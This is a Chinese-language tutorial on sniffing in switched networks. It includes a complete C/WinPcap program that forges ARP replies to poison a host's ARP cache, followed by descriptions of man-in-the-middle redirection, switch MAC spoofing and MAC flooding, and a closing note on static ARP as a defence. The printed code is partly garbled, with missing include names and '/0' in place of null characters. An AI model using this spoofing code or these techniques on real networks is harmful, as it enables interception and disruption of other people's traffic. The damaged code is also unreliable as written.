交换网络中的嗅探和ARP欺骗

  以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

  ARP缓存表

  假设这样一个网络:

  ——————————

  | HUB |

  ——————————

  | | |

  | | |

  | | |

  HostA HostB HostC

  其中

  A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

  B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

  C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

  假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

  C:/>arp -a

  Interface: 192.168.10.1 on Interface 0x1000003

  Internet Address Physical Address Type

  192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

  这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的

  ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记

  录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接

  收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。

  因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

  集线器网络(Hub-Based)

  很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播

  到Hub的所有端口上。

  这就是上面举例中的一种网络结构。

  现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记

  录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并

  且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输

  到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

  正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

  因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

  交换网络(Switched Lan)

  交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数

  据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面

  例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

  ARP欺骗( ARP spoofing)

  ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存

  进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应

  答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地

  址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不

  知道被伪造了)。

  现在A机器的ARP缓存更新了:

  C:/>arp -a

  Interface: 192.168.10.1 on Interface 0x1000003

  Internet Address Physical Address Type

  192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

  这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的

  MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是

  DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!

  这就是一个简单的ARP欺骗。

  我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)

  winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

  ///////////////////////////////////////////////////////

  //

  // ARP Sender

  //

  // Creator: Refdom

  // Email: [email protected]

  // Home Page: www.opengram.com

  //

  // 2002/4/7

  //

  ///////////////////////////////////////////////////////

  #include "stdafx.h"

  #include "Mac.h"

  //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了

  #include

  #include

  #define EPT_IP0x0800/* type: IP*/

  #define EPT_ARP0x0806/* type: ARP */

  #define EPT_RARP0x8035/* type: RARP */

  #define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */

  #defineARP_REQUEST0x0001/* ARP request */

  #defineARP_REPLY0x0002/* ARP reply */

  #define Max_Num_Adapter 10

  #pragma pack(push, 1)

  typedef struct ehhdr

  {

  unsigned chareh_dst[6];/* destination ethernet addrress */

  unsigned chareh_src[6];/* source ethernet addresss */

  unsigned shorteh_type;/* ethernet pachet type*/

  }EHHDR, *PEHHDR;

  typedef struct arphdr

  {

  unsigned shortarp_hrd;/* format of hardware address */

  unsigned shortarp_pro;/* format of protocol address */

  unsigned chararp_hln;/* length of hardware address */

  unsigned chararp_pln;/* length of protocol address */

  unsigned shortarp_op;/* ARP/RARP operation */

  unsigned chararp_sha[6];/* sender hardware address */

  unsigned longarp_spa;/* sender protocol address */

  unsigned chararp_tha[6];/* target hardware address */

  unsigned longarp_tpa;/* target protocol address */

  }ARPHDR, *PARPHDR;

  typedef struct arpPacket

  {

  EHHDRehhdr;

  ARPHDRarphdr;

  } ARPPACKET, *PARPPACKET;

  #pragma pack(pop)

  int main(int argc, char* argv[])

  {

  static char AdapterList[Max_Num_Adapter][1024];

  char szPacketBuf[600];

  char MacAddr[6];

  LPADAPTERlpAdapter;

  LPPACKETlpPacket;

  WCHARAdapterName[2048];

  WCHAR*temp,*temp1;

  ARPPACKET ARPPacket;

  ULONG AdapterLength = 1024;

  int AdapterNum = 0;

  int nRetCode, i;

  //Get The list of Adapter

  if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)

  {

  printf("Unable to retrieve the list of the adapters! ");

  return 0;

  }

  temp = AdapterName;

  temp1=AdapterName;

  i = 0;

  while ((*temp != '/0')||(*(temp-1) != '/0'))

  {

  if (*temp == '/0')

  {

  memcpy(AdapterList[i],temp1,(temp-temp1)*2);

  temp1=temp+1;

  i++;

  }

  temp++;

  }

  AdapterNum = i;

  for (i = 0; i < AdapterNum; i++)

  wprintf(L" %d- %s ", i+1, AdapterList[i]);

  printf(" ");

  //Default open the 0

  lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);

  //取第一个网卡(假设啦)

  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

  {

  nRetCode = GetLastError();

  printf("Unable to open the driver, Error Code : %lx ", nRetCode);

  return 0;

  }

  lpPacket = PacketAllocatePacket();

  if(lpPacket == NULL)

  {

  printf(" Error:failed to allocate the LPPACKET structure.");

  return 0;

  }

  ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

  if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))

  {

  printf ("Get Mac address error! ");

  }

  memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

  if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

  {

  printf ("Get Mac address error! ");

  return 0;

  }

  memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

  ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

  ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

  ARPPacket.arphdr.arp_pro = htons(EPT_IP);

  ARPPacket.arphdr.arp_hln = 6;

  ARPPacket.arphdr.arp_pln = 4;

  ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

  if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))

  {

  printf ("Get Mac address error! ");

  return 0;

  }

  memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址

  ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

  if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

  {

  printf ("Get Mac address error! ");

  return 0;

  }

  memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址

  ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

  memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

  PacketInitPacket(lpPacket, szPacketBuf, 60);

  if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

  {

  printf("warning: Unable to send more than one packet in

  a single write! ");

  }

  if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

  {

  printf("Error sending the packets! ");

  return 0;

  }

  printf ("Send ok! ");

  // close the adapter and exit

  PacketFreePacket(lpPacket);

  PacketCloseAdapter(lpAdapter);

  return 0;

  }

  于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……

  以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能

  够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中

  进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础

  中我们就能够做到。

  对目标进行ARP欺骗

  就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如

  果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正

  好是B能够接收到A发送的数据包了么,嗅探成功。

  A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送

  给C的数据包可没有转交给C。

  做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由

  器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。

  直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为

  是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥

  梁了。

  对Switch的MAC欺骗

  Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对

  应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学

  习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧

  的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1

  口输出,而不会从其它的口输出。

  跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来

  不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的

  MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对

  应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

  但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,

  让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

  对Switch进行Flood

  就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端

  口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果

  能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基

  本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

  存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情

  况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

  对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换

  机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

  至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用

  arp -s 来进行静态ARP的设置。

  感谢winpcap这个开放项目,也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正。

你可能感兴趣的:(交换网络中的嗅探和ARP欺骗)